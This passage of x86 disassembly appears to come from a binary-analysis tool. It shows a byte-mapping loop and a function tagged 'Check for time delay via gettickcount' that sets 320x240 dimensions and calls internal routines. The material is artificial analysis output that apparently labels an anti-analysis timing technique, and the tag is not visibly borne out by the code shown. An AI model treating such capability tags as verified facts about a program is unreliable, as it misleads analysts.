mov cl, 0x4a
jmp 0x415318
cmp cl, 0x27
jne 0x4152cc
mov cl, 0x4b
jmp 0x415318
cmp cl, 0x3b
jne 0x4152d5
mov cl, 0x4c
jmp 0x415318
cmp cl, 0x3d
jne 0x4152de
mov cl, 0x4d
jmp 0x415318
cmp cl, 0x5b
jne 0x4152e7
mov cl, 0x4e
jmp 0x415318
cmp cl, 0x5d
jne 0x4152f0
mov cl, 0x4f
jmp 0x415318
cmp cl, 0x28
jne 0x4152f9
mov cl, 0x50
jmp 0x415318
cmp cl, 0x29
jne 0x415302
mov cl, 0x51
jmp 0x415318
cmp cl, 0x25
jne 0x41530b
mov cl, 0x52
jmp 0x415318
cmp cl, 0x40
setne cl
dec ecx
and ecx, 0xfffffff0
add ecx, 0x63
cmp cl, 0x63
mov byte [esp + 4], cl
je 0x415338
mov ecx, dword [esp + 4]
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x48c3a8]
lea eax, [eax + ecx - 1]
jmp 0x41533b
add eax, 3
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x415200
ret

Function at 0x416a60
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [0x4cb0a0]
mov dword [0x4c38b4], 0x140
push eax
mov dword [0x4c38b0], 0xf0
mov dword [0x4c484c], 0xf0
call fcn.0041d050
add esp, 4
call fcn.0041cb70
push 0x140
call fcn.00426340
add esp, 4
call fcn.0041cb70
mov ecx, dword [0x4cb0a0]
push ecx
call fcn.0041d050
mov edx, dword [0x4c37f0]
mov eax, dword [0x489dd4]
add esp, 4
push 0
push 0
push 0
push 0
push edx
push 0
push eax
push 0xf0
push 0x140
push 0
push 0
call fcn.0041cc70
mov ecx, dword [0x489dd4]
add esp, 0x2c
add ecx, 0xfff60000
push 0
push ecx
call fcn.0041cb90
mov edx, dword [0x4c3780]
add esp, 8
push edx
call fcn.00418c40
add esp, 4
jmp fcn.0041cb70